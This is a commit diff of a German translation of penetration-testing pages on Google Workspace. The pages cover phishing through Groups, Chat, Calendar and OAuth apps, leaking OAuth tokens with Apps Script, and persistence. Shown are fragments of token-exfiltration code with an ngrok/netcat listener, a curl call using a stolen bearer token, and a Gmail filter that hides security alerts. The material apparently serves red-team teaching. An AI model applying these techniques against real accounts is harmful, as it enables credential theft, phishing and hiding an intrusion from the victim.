Translated ['.github/pull_request_template.md', 'src/README.md', 'src/pe

This commit is contained in:
Translator
2025-01-02 00:01:28 +00:00
parent 4bcd54c1b6
commit c0ee8b41f2
215 changed files with 1371 additions and 1387 deletions

View File

@@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
## Entry Points
## Einstiegspunkte
### Google Platforms und OAuth Apps Phishing
### Google Plattformen und OAuth Apps Phishing
Überprüfen Sie, wie Sie verschiedene Google-Plattformen wie Drive, Chat, Gruppen... nutzen können, um dem Opfer einen Phishing-Link zu senden und wie man ein Google OAuth Phishing durchführt in:
@@ -12,7 +12,7 @@
gws-google-platforms-phishing/
{{#endref}}
### Password Spraying
### Passwort-Spraying
Um Passwörter mit allen E-Mails zu testen, die Sie gefunden haben (oder die Sie basierend auf einem E-Mail-Namenmuster generiert haben, das Sie möglicherweise entdeckt haben), können Sie ein Tool wie [**https://github.com/ustayready/CredKing**](https://github.com/ustayready/CredKing) verwenden (obwohl es unwartbar aussieht), das AWS Lambdas verwendet, um die IP-Adresse zu ändern.
@@ -42,7 +42,7 @@ Lesen Sie mehr über die verschiedenen Techniken, um zwischen GWS und GCP zu piv
gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/
{{#endref}}
## Persistence
## Persistenz
Wenn Sie einige Anmeldeinformationen oder die Sitzung des Benutzers kompromittiert haben, überprüfen Sie diese Optionen, um die Persistenz aufrechtzuerhalten:
@@ -50,7 +50,7 @@ Wenn Sie einige Anmeldeinformationen oder die Sitzung des Benutzers kompromittie
gws-persistence.md
{{#endref}}
## Account Compromised Recovery
## Wiederherstellung eines kompromittierten Kontos
- Von allen Sitzungen abmelden
- Benutzerpasswort ändern
@@ -60,12 +60,12 @@ gws-persistence.md
- 2FA-Geräte entfernen
- E-Mail-Weiterleitungen entfernen
- E-Mail-Filter entfernen
- Wiederherstellungs-E-Mail/Telefone entfernen
- Bösartige synchronisierte Smartphones entfernen
- Schlechte Android-Apps entfernen
- Schlechte Kontodelegationen entfernen
- Wiederherstellungs-E-Mail/Telefonnummern entfernen
- Kompromittierte synchronisierte Smartphones entfernen
- Schadhafte Android-Apps entfernen
- Schadhafte Kontodelegationen entfernen
## References
## Referenzen
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch und Beau Bullock - OK Google, wie mache ich Red Team GSuite?

View File

@@ -12,24 +12,24 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodo
Offensichtlich können Mitglieder in der Workspace standardmäßig [**Gruppen erstellen**](https://groups.google.com/all-groups) **und Personen dazu einladen**. Sie können dann die E-Mail, die an den Benutzer gesendet wird, **mit einigen Links ändern.** Die **E-Mail wird von einer Google-Adresse kommen**, sodass sie **legitim** aussieht und die Leute möglicherweise auf den Link klicken.
Es ist auch möglich, die **FROM**-Adresse als die **Google-Gruppen-E-Mail** festzulegen, um **mehr E-Mails an die Benutzer innerhalb der Gruppe** zu senden, wie im folgenden Bild, wo die Gruppe **`google--support@googlegroups.com`** erstellt wurde und eine **E-Mail an alle Mitglieder** der Gruppe gesendet wurde (die ohne Zustimmung hinzugefügt wurden).
Es ist auch möglich, die **FROM**-Adresse als die **Google-Gruppen-E-Mail** festzulegen, um **mehr E-Mails an die Benutzer innerhalb der Gruppe zu senden**, wie im folgenden Bild, wo die Gruppe **`google--support@googlegroups.com`** erstellt wurde und eine **E-Mail an alle Mitglieder** der Gruppe gesendet wurde (die ohne Zustimmung hinzugefügt wurden).
<figure><img src="../../../images/image (5) (1).png" alt=""><figcaption></figcaption></figure>
## Google Chat Phishing
Sie könnten in der Lage sein, entweder **einen Chat** mit einer Person zu beginnen, indem Sie nur ihre E-Mail-Adresse haben, oder eine **Einladung zum Gespräch** zu senden. Darüber hinaus ist es möglich, einen **Space** zu erstellen, der jeden Namen haben kann (z. B. "Google Support") und **Mitglieder dazu einzuladen**. Wenn sie akzeptieren, könnten sie denken, dass sie mit dem Google Support sprechen:
Sie könnten entweder **einen Chat** mit einer Person beginnen, indem Sie nur ihre E-Mail-Adresse haben, oder eine **Einladung zum Gespräch** senden. Darüber hinaus ist es möglich, einen **Space** zu erstellen, der jeden Namen haben kann (z. B. "Google Support") und Mitglieder dazu einzuladen. Wenn sie akzeptieren, könnten sie denken, dass sie mit dem Google Support sprechen:
<figure><img src="../../../images/image (6).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> **In meinen Tests haben die eingeladenen Mitglieder jedoch nicht einmal eine Einladung erhalten.**
Sie können überprüfen, wie das in der Vergangenheit funktioniert hat unter: [https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE&t=904s)
Sie können überprüfen, wie das in der Vergangenheit funktioniert hat: [https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE&t=904s)
## Google Doc Phishing
Früher war es möglich, ein **offensichtlich legitimes Dokument** zu erstellen und in einem Kommentar **eine E-Mail zu erwähnen (wie @user@gmail.com)**. Google **sendete eine E-Mail an diese E-Mail-Adresse**, um zu benachrichtigen, dass sie im Dokument erwähnt wurden.\
Früher war es möglich, ein **anscheinend legitimes Dokument** zu erstellen und in einem Kommentar **eine E-Mail zu erwähnen (wie @user@gmail.com)**. Google **sendete eine E-Mail an diese E-Mail-Adresse**, um zu benachrichtigen, dass sie im Dokument erwähnt wurden.\
Heutzutage funktioniert das nicht mehr, aber wenn Sie **dem Opfer E-Mail-Zugriff auf das Dokument geben**, wird Google eine E-Mail senden, die dies anzeigt. Dies ist die Nachricht, die erscheint, wenn Sie jemanden erwähnen:
<figure><img src="../../../images/image (7).png" alt=""><figcaption></figcaption></figure>
@@ -39,7 +39,7 @@ Heutzutage funktioniert das nicht mehr, aber wenn Sie **dem Opfer E-Mail-Zugriff
## Google Calendar Phishing
Sie können **ein Kalenderereignis erstellen** und so viele E-Mail-Adressen des Unternehmens, das Sie angreifen, hinzufügen, wie Sie haben. Planen Sie dieses Kalenderereignis in **5 oder 15 Minuten** von der aktuellen Zeit. Lassen Sie das Ereignis legitim aussehen und **setzen Sie einen Kommentar und einen Titel, der darauf hinweist, dass sie etwas lesen müssen** (mit dem **Phishing-Link**).
Sie können **ein Kalenderereignis erstellen** und so viele E-Mail-Adressen des Unternehmens hinzufügen, das Sie angreifen, wie Sie haben. Planen Sie dieses Kalenderereignis in **5 oder 15 Minuten** von der aktuellen Zeit. Lassen Sie das Ereignis legitim aussehen und **setzen Sie einen Kommentar und einen Titel, der darauf hinweist, dass sie etwas lesen müssen** (mit dem **Phishing-Link**).
Dies ist die Warnung, die im Browser mit dem Meeting-Titel "Leute entlassen" erscheint, sodass Sie einen phishinger Titel festlegen könnten (und sogar den Namen ändern, der mit Ihrer E-Mail verknüpft ist).
@@ -49,7 +49,7 @@ Um es weniger verdächtig erscheinen zu lassen:
- Richten Sie es so ein, dass **Empfänger die anderen eingeladenen Personen nicht sehen können**
- Senden Sie **KEINE E-Mails, die über das Ereignis benachrichtigen**. Dann sehen die Leute nur ihre Warnung über ein Meeting in 5 Minuten und dass sie diesen Link lesen müssen.
- Offensichtlich können Sie mit der API einstellen, dass **die Personen** das Ereignis **akzeptiert** haben und sogar **Kommentare in ihrem Namen erstellen**.
- Offensichtlich können Sie mit der API einstellen, dass **die Personen** das Ereignis **akzeptiert haben** und sogar **Kommentare in ihrem Namen erstellen**.
## App Scripts Redirect Phishing
@@ -62,12 +62,12 @@ return HtmlService.createHtmlOutput(
).setXFrameOptionsMode(HtmlService.XFrameOptionsMode.ALLOWALL)
}
```
For example accessing [https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec](https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec) you will see:
Zum Beispiel, wenn Sie [https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec](https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec) aufrufen, sehen Sie:
<figure><img src="../../../images/image (4) (1).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Beachten Sie, dass eine Warnung angezeigt wird, während der Inhalt in einem iframe geladen wird.
> Beachten Sie, dass eine Warnung erscheint, während der Inhalt in einem iframe geladen wird.
## App Scripts OAuth Phishing
@@ -79,7 +79,7 @@ gws-app-scripts.md
## OAuth Apps Phishing
Eine der vorherigen Techniken könnte verwendet werden, um den Benutzer dazu zu bringen, auf eine **Google OAuth-Anwendung** zuzugreifen, die den Benutzer um **Zugriff** bittet. Wenn der Benutzer der **Quelle** **vertraut**, könnte er der **Anwendung** **vertrauen** (auch wenn sie nach hochprivilegierten Berechtigungen fragt).
Eine der vorherigen Techniken kann verwendet werden, um den Benutzer dazu zu bringen, auf eine **Google OAuth-Anwendung** zuzugreifen, die den Benutzer um **Zugriff** bittet. Wenn der Benutzer der **Quelle** **vertraut**, könnte er der **Anwendung** **vertrauen** (auch wenn sie nach hochprivilegierten Berechtigungen fragt).
> [!NOTE]
> Beachten Sie, dass Google in mehreren Fällen eine hässliche Aufforderung anzeigt, die warnt, dass die Anwendung nicht vertrauenswürdig ist, und Workspace-Administratoren können sogar verhindern, dass Personen OAuth-Anwendungen akzeptieren.
@@ -91,18 +91,18 @@ Wenn ein **Benutzer** diese **Anwendung** **verwenden** möchte, wird er **aufge
Dies ist eine sehr verlockende Möglichkeit, **nicht-technische Benutzer** dazu zu bringen, **Anwendungen zu verwenden, die auf sensible Informationen zugreifen**, da sie die Konsequenzen möglicherweise nicht verstehen. In Unternehmenskonten gibt es jedoch Möglichkeiten, dies zu verhindern.
### Unverified App prompt
### Unbestätigte App-Aufforderung
Wie bereits erwähnt, wird Google immer eine **Aufforderung an den Benutzer anzeigen, um** die Berechtigungen zu akzeptieren, die sie der Anwendung in ihrem Namen gewähren. Wenn die Anwendung jedoch als **gefährlich** eingestuft wird, zeigt Google **zuerst** eine **Aufforderung** an, die darauf hinweist, dass sie **gefährlich** ist und es dem Benutzer **schwieriger macht**, die Berechtigungen für die App zu gewähren.
Wie bereits erwähnt, wird Google immer eine **Aufforderung an den Benutzer anzeigen, um die** Berechtigungen zu akzeptieren, die sie der Anwendung in ihrem Namen gewähren. Wenn die Anwendung jedoch als **gefährlich** eingestuft wird, zeigt Google **zuerst** eine **Aufforderung** an, die darauf hinweist, dass sie **gefährlich** ist und es dem Benutzer **schwieriger macht**, die Berechtigungen für die App zu gewähren.
Diese Aufforderung erscheint in Apps, die:
- Irgendeinen Scope verwenden, der auf private Daten zugreifen kann (Gmail, Drive, GCP, BigQuery...)
- Apps mit weniger als 100 Benutzern (bei Apps > 100 ist auch ein Überprüfungsprozess erforderlich, um die nicht verifiziert Aufforderung nicht mehr anzuzeigen)
- Apps mit weniger als 100 Benutzern (bei Apps > 100 ist auch ein Überprüfungsprozess erforderlich, um die unbestätigte Aufforderung nicht mehr anzuzeigen)
### Interessante Scopes
[**Hier**](https://developers.google.com/identity/protocols/oauth2/scopes) finden Sie eine Liste aller Google OAuth Scopes.
[**Hier**](https://developers.google.com/identity/protocols/oauth2/scopes) finden Sie eine Liste aller Google OAuth-Scopes.
- **cloud-platform**: Sehen und verwalten Sie Ihre Daten über **Google Cloud Platform**-Dienste. Sie können den Benutzer in GCP impersonifizieren.
- **admin.directory.user.readonly**: Sehen und laden Sie das GSuite-Verzeichnis Ihrer Organisation herunter. Erhalten Sie Namen, Telefonnummern, Kalender-URLs aller Benutzer.
@@ -111,21 +111,21 @@ Diese Aufforderung erscheint in Apps, die:
**Beginnen Sie mit der Erstellung einer OAuth-Client-ID**
1. Gehen Sie zu [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) und klicken Sie auf die Konfiguration des Zustimmungsbildschirms.
2. Dann werden Sie gefragt, ob der **Benutzertyp** **intern** (nur für Personen in Ihrer Organisation) oder **extern** ist. Wählen Sie die Option, die Ihren Bedürfnissen entspricht.
1. Gehen Sie zu [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) und klicken Sie auf "Zustimmungsbildschirm konfigurieren".
2. Dann werden Sie gefragt, ob der **Benutzertyp** **intern** (nur für Personen in Ihrer Organisation) oder **extern** ist. Wählen Sie den aus, der Ihren Bedürfnissen entspricht.
- Intern könnte interessant sein, wenn Sie bereits einen Benutzer der Organisation kompromittiert haben und diese App erstellen, um einen anderen zu phishen.
3. Geben Sie der App einen **Namen**, eine **Support-E-Mail** (beachten Sie, dass Sie eine Google-Gruppe-E-Mail festlegen können, um sich ein wenig mehr zu anonymisieren), ein **Logo**, **autorisierte Domains** und eine andere **E-Mail** für **Updates**.
4. **Wählen** Sie die **OAuth-Scopes** aus.
- Diese Seite ist in nicht sensible Berechtigungen, sensible Berechtigungen und eingeschränkte Berechtigungen unterteilt. Jedes Mal, wenn Sie eine neue Berechtigung hinzufügen, wird sie in ihrer Kategorie hinzugefügt. Je nach den angeforderten Berechtigungen erscheinen unterschiedliche Aufforderungen für den Benutzer, die darauf hinweisen, wie sensibel diese Berechtigungen sind.
- Diese Seite ist in nicht sensible Berechtigungen, sensible Berechtigungen und eingeschränkte Berechtigungen unterteilt. Jedes Mal, wenn Sie eine neue Berechtigung hinzufügen, wird sie in ihrer Kategorie hinzugefügt. Je nach angeforderten Berechtigungen erscheinen unterschiedliche Aufforderungen für den Benutzer, die darauf hinweisen, wie sensibel diese Berechtigungen sind.
- Sowohl **`admin.directory.user.readonly`** als auch **`cloud-platform`** sind sensible Berechtigungen.
5. **Fügen Sie die Testbenutzer hinzu.** Solange der Status der App auf Test steht, können nur diese Benutzer auf die App zugreifen, also stellen Sie sicher, dass Sie die E-Mail hinzufügen, die Sie phishen möchten.
5. **Fügen Sie die Testbenutzer hinzu.** Solange der Status der App "Test" ist, können nur diese Benutzer auf die App zugreifen, also stellen Sie sicher, dass Sie die E-Mail hinzufügen, die Sie phishen möchten.
Jetzt lassen Sie uns **Anmeldeinformationen für eine Webanwendung** mit der **zuvor erstellten OAuth-Client-ID** abrufen:
Jetzt lassen Sie uns **Anmeldeinformationen für eine Webanwendung** mit der **zuvor erstellten OAuth-Client-ID** erhalten:
1. Gehen Sie zurück zu [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient), diesmal wird eine andere Option angezeigt.
2. Wählen Sie **Anmeldeinformationen für eine Webanwendung erstellen**.
3. Legen Sie die benötigten **Javascript-Ursprünge** und **Umleitungs-URIs** fest.
- Sie können in beiden etwas wie **`http://localhost:8000/callback`** für Tests festlegen.
3. Legen Sie die benötigten **JavaScript-Ursprünge** und **Umleitungs-URIs** fest.
- Sie können in beiden etwas wie **`http://localhost:8000/callback`** zum Testen festlegen.
4. Holen Sie sich Ihre Anwendungs-**Anmeldeinformationen**.
Schließlich lassen Sie uns **eine Webanwendung ausführen, die die Anmeldeinformationen der OAuth-Anwendung verwendet**. Sie finden ein Beispiel unter [https://github.com/carlospolop/gcp_oauth_phishing_example](https://github.com/carlospolop/gcp_oauth_phishing_example).
@@ -135,7 +135,7 @@ cd gcp_oauth_phishing_example
pip install flask requests google-auth-oauthlib
python3 app.py --client-id "<client_id>" --client-secret "<client_secret>"
```
Gehe zu **`http://localhost:8000`**, klicke auf die Schaltfläche "Mit Google anmelden", du wirst mit einer Nachricht wie dieser **auffordert**:
Gehe zu **`http://localhost:8000`**, klicke auf die Schaltfläche "Login mit Google", du wirst mit einer Nachricht wie dieser **auffordert**:
<figure><img src="../../../images/image (333).png" alt=""><figcaption></figcaption></figure>

View File

@@ -57,11 +57,11 @@ Um ein eigenständiges Projekt aus Apps Script zu erstellen:
<details>
<summary>Erstellen Sie ein eigenständiges Projekt mit dem clasp-Befehlszeilentool</summary>
<summary>Erstellen Sie ein eigenständiges Projekt mit dem clasp-Befehlszeilenwerkzeug</summary>
`clasp` ist ein Befehlszeilentool, mit dem Sie Apps Script-Projekte von einem Terminal aus erstellen, abrufen/pushen und bereitstellen können.
`clasp` ist ein Befehlszeilenwerkzeug, mit dem Sie Apps Script-Projekte von einem Terminal aus erstellen, abrufen/pushen und bereitstellen können.
Siehe die [Befehlszeilenschnittstelle mit `clasp`-Leitfaden](https://developers.google.com/apps-script/guides/clasp) für weitere Details.
Siehe die [Command Line Interface using `clasp` guide](https://developers.google.com/apps-script/guides/clasp) für weitere Details.
</details>
@@ -73,14 +73,14 @@ Beginnen Sie mit der Erstellung eines App Scripts, meine Empfehlung für dieses
### Token leaken
Um Zugriff auf das OAuth-Token zu gewähren, müssen Sie auf **`Dienste +` klicken und Berechtigungen wie** hinzufügen:
Um Zugriff auf das OAuth-Token zu gewähren, müssen Sie auf **`Dienste +` klicken und Scopes wie** hinzufügen:
- **AdminDirectory**: Zugriff auf Benutzer und Gruppen des Verzeichnisses (wenn der Benutzer über ausreichende Berechtigungen verfügt)
- **Gmail**: Um auf Gmail-Daten zuzugreifen
- **Drive**: Um auf Drive-Daten zuzugreifen
- **Google Sheets API**: Damit es mit dem Trigger funktioniert
Um die **benötigten Berechtigungen** selbst zu ändern, können Sie zu den Projekteinstellungen gehen und aktivieren: **`Manifestdatei "appsscript.json" im Editor anzeigen`.**
Um die **benötigten Scopes** selbst zu ändern, können Sie zu den Projekteinstellungen gehen und aktivieren: **`Zeige "appsscript.json" Manifestdatei im Editor`.**
```javascript
function getToken() {
var userEmail = Session.getActiveUser().getEmail()
@@ -133,7 +133,7 @@ Logger.log("Error making POST request: " + e.toString())
}
}
```
Um die Anfrage zu erfassen, können Sie einfach Folgendes ausführen:
Um die Anfrage zu erfassen, können Sie einfach ausführen:
```bash
ngrok tcp 4444
nc -lv 4444 #macOS
@@ -147,9 +147,9 @@ Berechtigungen, die zum Ausführen des App-Skripts angefordert werden:
### Trigger erstellen
Sobald die App gelesen wurde, klicken Sie auf **⏰ Trigger**, um einen Trigger zu erstellen. Wählen Sie als **Funktion** zum Ausführen **`getToken`**, läuft bei Bereitstellung **`Head`**, wählen Sie als Ereignisquelle **`From spreadsheet`** und als Ereignistyp **`On open`** oder **`On edit`** (je nach Bedarf) und speichern Sie.
Sobald die App gelesen wurde, klicken Sie auf **⏰ Triggers**, um einen Trigger zu erstellen. Wählen Sie als **Funktion** zum Ausführen **`getToken`**, läuft bei Bereitstellung **`Head`**, wählen Sie als Ereignisquelle **`From spreadsheet`** und als Ereignistyp **`On open`** oder **`On edit`** (je nach Bedarf) und speichern Sie.
Beachten Sie, dass Sie die **Ausführungen der App-Skripte im Tab Ausführungen überprüfen** können, wenn Sie etwas debuggen möchten.
Beachten Sie, dass Sie die **Ausführungen der App-Skripte im Tab Ausführungen überprüfen können**, wenn Sie etwas debuggen möchten.
### Teilen
@@ -161,7 +161,7 @@ Um das **App-Skript** auszulösen, muss das Opfer mit **Editorzugriff** verbunde
### Missbrauch von "Mit mir geteilt"-Dokumenten
> [!CAUTION]
> Wenn jemand **ein Dokument mit App-Skripten und einem Trigger unter Verwendung des Heads** des App-Skripts (nicht einer festen Bereitstellung) mit Ihnen geteilt hat, können Sie den App-Skript-Code ändern (zum Beispiel die Funktionen zum Stehlen des Tokens hinzufügen), darauf zugreifen, und das **App-Skript wird mit den Berechtigungen des Benutzers ausgeführt, der das Dokument mit Ihnen geteilt hat**! (Beachten Sie, dass das OAuth-Token des Eigentümers die Zugriffsbereiche hat, die beim Erstellen des Triggers angegeben wurden).
> Wenn jemand **ein Dokument mit App-Skripten und einem Trigger unter Verwendung des Heads** des App-Skripts (nicht einer festen Bereitstellung) mit Ihnen geteilt hat, können Sie den Code des App-Skripts ändern (zum Beispiel die Funktionen zum Stehlen des Tokens hinzufügen), darauf zugreifen, und das **App-Skript wird mit den Berechtigungen des Benutzers ausgeführt, der das Dokument mit Ihnen geteilt hat**! (Beachten Sie, dass das OAuth-Token des Eigentümers die Zugriffsbereiche hat, die beim Erstellen des Triggers festgelegt wurden).
>
> Eine **Benachrichtigung wird an den Ersteller des Skripts gesendet, die anzeigt, dass jemand das Skript geändert hat** (Was ist mit der Verwendung von Gmail-Berechtigungen, um einen Filter zu erstellen, um die Warnung zu verhindern?)
@@ -170,8 +170,8 @@ Um das **App-Skript** auszulösen, muss das Opfer mit **Editorzugriff** verbunde
### Kopieren statt Teilen
Wenn Sie einen Link zum Teilen eines Dokuments erstellen, wird ein Link erstellt, der diesem ähnlich ist: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
Wenn Sie das Ende **"/edit"** durch **"/copy"** ändern, wird Google Sie fragen, ob Sie **eine Kopie des Dokuments erstellen möchten:**
Wenn Sie einen Link zum Teilen eines Dokuments erstellen, wird ein ähnlicher Link wie dieser erstellt: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
Wenn Sie das Ende **"/edit"** in **"/copy"** ändern, wird Google Sie fragen, ob Sie **eine Kopie des Dokuments erstellen möchten:**
<figure><img src="../../../images/image (335).png" alt=""><figcaption></figcaption></figure>
@@ -200,7 +200,7 @@ curl -H "Authorization: Bearer $OAUTH_TOKEN" \
```
## App Script als Persistenz
Eine Option für Persistenz wäre es, **ein Dokument zu erstellen und einen Trigger für die getToken**-Funktion hinzuzufügen und das Dokument mit dem Angreifer zu teilen, sodass der Angreifer jedes Mal, wenn er die Datei öffnet, **das Token des Opfers exfiltriert.**
Eine Option für Persistenz wäre es, **ein Dokument zu erstellen und einen Trigger für die getToken**-Funktion hinzuzufügen und das Dokument mit dem Angreifer zu teilen, sodass jedes Mal, wenn der Angreifer die Datei öffnet, er **das Token des Opfers exfiltriert.**
Es ist auch möglich, ein App Script zu erstellen und es alle X Zeit (wie jede Minute, Stunde, Tag...) auszulösen. Ein Angreifer, der **kompromittierte Anmeldeinformationen oder eine Sitzung eines Opfers hat, könnte einen zeitgesteuerten App Script-Trigger einrichten und jeden Tag ein sehr privilegiertes OAuth-Token leaken**:
@@ -218,10 +218,10 @@ Darüber hinaus, wenn jemand ein Dokument mit **Bearbeitungszugriff** mit Ihnen
> [!WARNING]
> Das bedeutet, dass der **Ersteller des Dokuments als Ersteller jedes App Scripts** erscheint, das jemand mit Bearbeitungszugriff darin erstellt.
>
> Das bedeutet auch, dass das **App Script vom Workspace-Umfeld** des Erstellers des Dokuments vertraut wird.
> Das bedeutet auch, dass das **App Script von der Workspace-Umgebung** des Erstellers des Dokuments vertraut wird.
> [!CAUTION]
> Das bedeutet auch, dass wenn ein **App Script bereits existierte** und Personen **Zugriff gewährt haben**, jeder mit **Bearbeiter**-Berechtigung auf dem Dokument es **modifizieren und diesen Zugriff missbrauchen kann.**\
> Um dies auszunutzen, benötigen Sie auch Personen, die das App Script auslösen. Ein praktischer Trick ist es, das **Script als Webanwendung zu veröffentlichen**. Wenn die **Personen**, die bereits **Zugriff** auf das App Script gewährt haben, die Webseite aufrufen, werden sie **das App Script auslösen** (das funktioniert auch mit `<img>`-Tags).
> Um dies auszunutzen, müssen Sie auch Personen haben, die das App Script auslösen. Ein praktischer Trick ist, das **Script als Webanwendung zu veröffentlichen**. Wenn die **Personen**, die bereits **Zugriff** auf das App Script gewährt haben, die Webseite aufrufen, werden sie **das App Script auslösen** (das funktioniert auch mit `<img>`-Tags).
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,26 +1,26 @@
# GWS - Persistence
# GWS - Persistenz
{{#include ../../banners/hacktricks-training.md}}
> [!CAUTION]
> Alle in diesem Abschnitt genannten Aktionen, die Einstellungen ändern, generieren einen **Sicherheitsalarm an die E-Mail und sogar eine Push-Benachrichtigung an jedes mit dem Konto synchronisierte Mobilgerät**.
> Alle in diesem Abschnitt genannten Aktionen, die Einstellungen ändern, generieren eine **Sicherheitswarnung an die E-Mail und sogar eine Push-Benachrichtigung an jedes mit dem Konto synchronisierte mobile Gerät**.
## **Persistenz in Gmail**
- Sie können **Filter erstellen, um** Sicherheitsbenachrichtigungen von Google zu verbergen.
- `from: (no-reply@accounts.google.com) "Security Alert"`
- `from: (no-reply@accounts.google.com) "Sicherheitswarnung"`
- Dies verhindert, dass Sicherheits-E-Mails die E-Mail erreichen (verhindert jedoch nicht, dass Push-Benachrichtigungen auf das Mobilgerät gesendet werden).
<details>
<summary>Schritte zum Erstellen eines Gmail-Filters</summary>
(Anleitungen von [**hier**](https://support.google.com/mail/answer/6579))
(Anweisungen von [**hier**](https://support.google.com/mail/answer/6579))
1. Öffnen Sie [Gmail](https://mail.google.com/).
2. Klicken Sie im Suchfeld oben auf Suchoptionen anzeigen ![photos tune](https://lh3.googleusercontent.com/cD6YR_YvqXqNKxrWn2NAWkV6tjJtg8vfvqijKT1_9zVCrl2sAx9jROKhLqiHo2ZDYTE=w36).
3. Geben Sie Ihre Suchkriterien ein. Wenn Sie überprüfen möchten, ob Ihre Suche korrekt funktioniert hat, sehen Sie sich an, welche E-Mails angezeigt werden, indem Sie auf **Suchen** klicken.
4. Klicken Sie unten im Suchfenster auf **Filter erstellen**.
4. Klicken Sie am unteren Rand des Suchfensters auf **Filter erstellen**.
5. Wählen Sie aus, was der Filter tun soll.
6. Klicken Sie auf **Filter erstellen**.
@@ -63,7 +63,7 @@ Es ist auch möglich, **2-FA auszuschalten oder ein neues Gerät** (oder eine Te
## Persistenz über OAuth-Apps
Wenn Sie **das Konto eines Benutzers kompromittiert haben**, können Sie einfach **akzeptieren**, alle möglichen Berechtigungen für eine **OAuth-App** zu gewähren. Das einzige Problem ist, dass Workspace so konfiguriert werden kann, dass **nicht überprüfte externe und/oder interne OAuth-Apps nicht erlaubt sind.**\
Es ist ziemlich üblich, dass Workspace-Organisationen externen OAuth-Apps standardmäßig nicht vertrauen, aber internen schon, also wenn Sie **genug Berechtigungen haben, um eine neue OAuth-Anwendung** innerhalb der Organisation zu generieren und externe Apps nicht erlaubt sind, generieren Sie sie und **verwenden Sie diese neue interne OAuth-App, um Persistenz aufrechtzuerhalten**.
Es ist ziemlich üblich, dass Workspace-Organisationen standardmäßig externen OAuth-Apps nicht vertrauen, aber internen schon, also wenn Sie **genug Berechtigungen haben, um eine neue OAuth-Anwendung** innerhalb der Organisation zu generieren und externe Apps nicht erlaubt sind, generieren Sie sie und **verwenden Sie diese neue interne OAuth-App, um Persistenz aufrechtzuerhalten**.
Überprüfen Sie die folgende Seite für weitere Informationen zu OAuth-Apps:
@@ -73,7 +73,7 @@ gws-google-platforms-phishing/
## Persistenz über Delegation
Sie können einfach das **Konto an ein anderes Konto** delegieren, das vom Angreifer kontrolliert wird (wenn Sie dazu berechtigt sind). In Workspace **Organisationen** muss diese Option **aktiviert** sein. Sie kann für alle deaktiviert, für einige Benutzer/Gruppen aktiviert oder für alle aktiviert werden (in der Regel ist sie nur für einige Benutzer/Gruppen aktiviert oder vollständig deaktiviert).
Sie können einfach das **Konto an ein anderes Konto delegieren**, das vom Angreifer kontrolliert wird (wenn Sie dazu berechtigt sind). In Workspace **Organisationen** muss diese Option **aktiviert** sein. Sie kann für alle deaktiviert, für einige Benutzer/Gruppen aktiviert oder für alle aktiviert werden (in der Regel ist sie nur für einige Benutzer/Gruppen aktiviert oder vollständig deaktiviert).
<details>
@@ -84,21 +84,21 @@ Sie können einfach das **Konto an ein anderes Konto** delegieren, das vom Angre
Als Administrator Ihrer Organisation (zum Beispiel Ihrer Arbeit oder Schule) steuern Sie, ob Benutzer den Zugriff auf ihr Gmail-Konto delegieren können. Sie können allen die Option geben, ihr Konto zu delegieren. Oder nur bestimmten Personen in bestimmten Abteilungen erlauben, die Delegation einzurichten. Zum Beispiel können Sie:
- Einen Verwaltungsassistenten als Delegierten für Ihr Gmail-Konto hinzufügen, damit er E-Mails in Ihrem Namen lesen und senden kann.
- Eine Gruppe, wie Ihre Verkaufsabteilung, in Gruppen als Delegierten hinzufügen, um allen Zugriff auf ein Gmail-Konto zu geben.
- Eine Gruppe, wie Ihre Verkaufsabteilung, in Gruppen als Delegierten hinzufügen, um allen Zugriff auf ein Gmail-Konto zu gewähren.
Benutzer können den Zugriff nur auf einen anderen Benutzer in derselben Organisation delegieren, unabhängig von ihrer Domain oder ihrer organisatorischen Einheit.
#### Delegationsgrenzen & -einschränkungen
#### Delegationsgrenzen & Einschränkungen
- **Benutzern erlauben, den Zugriff auf ihr Postfach an eine Google-Gruppe zu gewähren**: Um diese Option zu verwenden, muss sie für die OU des delegierten Kontos und für die OU jedes Gruppenmitglieds aktiviert sein. Gruppenmitglieder, die zu einer OU gehören, für die diese Option nicht aktiviert ist, können nicht auf das delegierte Konto zugreifen.
- **Benutzern erlauben, den Zugriff auf ihr Postfach an eine Google-Gruppe zu gewähren**: Um diese Option zu verwenden, muss sie für die OU des delegierten Kontos und für jede OU der Gruppenmitglieder aktiviert sein. Gruppenmitglieder, die zu einer OU gehören, für die diese Option nicht aktiviert ist, können nicht auf das delegierte Konto zugreifen.
- Bei typischer Nutzung können 40 delegierte Benutzer gleichzeitig auf ein Gmail-Konto zugreifen. Überdurchschnittliche Nutzung durch einen oder mehrere Delegierte kann diese Zahl verringern.
